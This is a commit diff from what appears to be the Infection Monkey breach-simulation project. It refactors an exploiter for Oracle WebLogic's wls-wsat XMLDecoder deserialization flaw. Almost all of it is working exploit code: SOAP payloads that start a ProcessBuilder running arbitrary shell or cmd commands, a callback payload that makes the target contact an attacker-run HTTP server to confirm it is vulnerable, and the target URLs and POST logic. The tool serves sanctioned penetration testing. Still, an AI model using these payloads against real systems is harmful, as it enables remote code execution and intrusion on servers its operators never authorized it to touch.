forked from p34709852/monkey
Notes fixed and tested
This commit is contained in:
Vakaris
parent
39bb41ed25
commit
307a7c396c
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@ -191,7 +191,8 @@ class Configuration(object):
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# TCP Scanner
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HTTP_PORTS = [80, 8080, 443,
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8008, 7001 # HTTP alternate
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8008, # HTTP alternate
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7001 # Oracle Weblogic default server port
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]
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tcp_target_ports = [22,
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2222,
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@ -17,11 +17,11 @@ import logging
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__author__ = "VakarisZ"
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LOG = logging.getLogger(__name__)
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# How long server waits for get request
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# How long server waits for get request in seconds
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SERVER_TIMEOUT = 4
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# How long to wait for a request to go to vuln machine and then to our server from there
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# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
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REQUEST_TIMEOUT = 2
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# How long to wait for response in exploitation
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# How long to wait for response in exploitation. In seconds
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EXECUTION_TIMEOUT = 15
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URLS = ["/wls-wsat/CoordinatorPortType",
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"/wls-wsat/CoordinatorPortType11",
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@ -55,40 +55,10 @@ class WebLogicExploiter(WebRCE):
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return exploit_config
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def exploit(self, url, command):
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empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java>
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<object class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3" >
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<void index="0">
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<string>{cmd_base}</string>
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</void>
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<void index="1">
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<string>{cmd_opt}</string>
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</void>
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<void index="2">
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<string>{cmd_payload}</string>
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</void>
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</array>
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<void method="start"/>
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</object>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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'''
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if 'linux' in self.host.os['type']:
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cmd_base = '/bin/sh'
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cmd_opt = '-c'
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command += ' 1> /dev/null 2> /dev/null'
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payload = self.exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
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else:
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cmd_base = 'cmd'
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cmd_opt = '/c'
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command += ' 1> NUL 2> NUL'
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payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
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payload = self.exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
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try:
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post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
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except Exception as e:
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@ -96,7 +66,7 @@ class WebLogicExploiter(WebRCE):
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print(e)
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return True
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class HTTPServer(threading.Thread):
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class IndicationHTTPServer(threading.Thread):
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"""
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Http server built to wait for GET requests. Because oracle web logic vuln is blind,
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we determine if we can exploit by either getting a GET request from host or not.
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@ -109,6 +79,7 @@ class WebLogicExploiter(WebRCE):
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self._stopped = False
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self.lock = lock
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threading.Thread.__init__(self)
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self.daemon = True
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def run(self):
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class S(BaseHTTPRequestHandler):
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@ -132,43 +103,81 @@ class WebLogicExploiter(WebRCE):
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def check_if_exploitable(self, url):
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# Server might get response faster than it starts listening to it, we need a lock
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lock = threading.Lock()
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local_port = get_free_tcp_port()
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local_ip = get_interface_to_target(self.host.ip_addr)
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httpd = WebLogicExploiter.HTTPServer(local_ip, local_port, lock)
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httpd.daemon = True
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lock.acquire()
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httpd.start()
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lock.acquire()
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generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.8" class="java.beans.XMLDecoder">
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<void id="url" class="java.net.URL">
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<string>http://{lhost}:{lport}</string>
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</void>
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<void idref="url">
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<void id="stream" method = "openStream" />
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</void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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'''
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payload = generic_check_payload.format(lhost=local_ip, lport=local_port)
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httpd, lock = self._start_http_server()
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payload = self.test_payload(ip=httpd._local_ip, port=httpd._local_port)
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try:
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post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
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except exceptions.ReadTimeout:
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# Our request does not get response thus we get ReadTimeout error
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pass
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except Exception as e:
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LOG.error("Something went wrong: %s" % e)
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self._stop_http_server(httpd, lock)
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return httpd.get_requests > 0
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def _start_http_server(self):
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lock = threading.Lock()
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local_port = get_free_tcp_port()
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local_ip = get_interface_to_target(self.host.ip_addr)
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httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
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lock.acquire()
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httpd.start()
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lock.acquire()
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return httpd, lock
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def _stop_http_server(self, httpd, lock):
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lock.release()
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httpd.join(SERVER_TIMEOUT)
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httpd.stop()
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if httpd.get_requests > 0:
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exploited = True
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else:
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exploited = False
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return exploited
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return True
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@staticmethod
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def exploit_payload(cmd_base, cmd_opt, command):
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empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java>
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<object class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3" >
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<void index="0">
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<string>{cmd_base}</string>
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</void>
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<void index="1">
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<string>{cmd_opt}</string>
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</void>
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<void index="2">
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<string>{cmd_payload}</string>
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</void>
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</array>
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<void method="start"/>
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</object>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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'''
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payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
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return payload
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@staticmethod
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def test_payload(ip, port):
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generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.8" class="java.beans.XMLDecoder">
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<void id="url" class="java.net.URL">
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<string>http://{host}:{port}</string>
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</void>
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<void idref="url">
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<void id="stream" method = "openStream" />
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</void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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'''
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payload = generic_check_payload.format(host=ip, port=port)
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return payload
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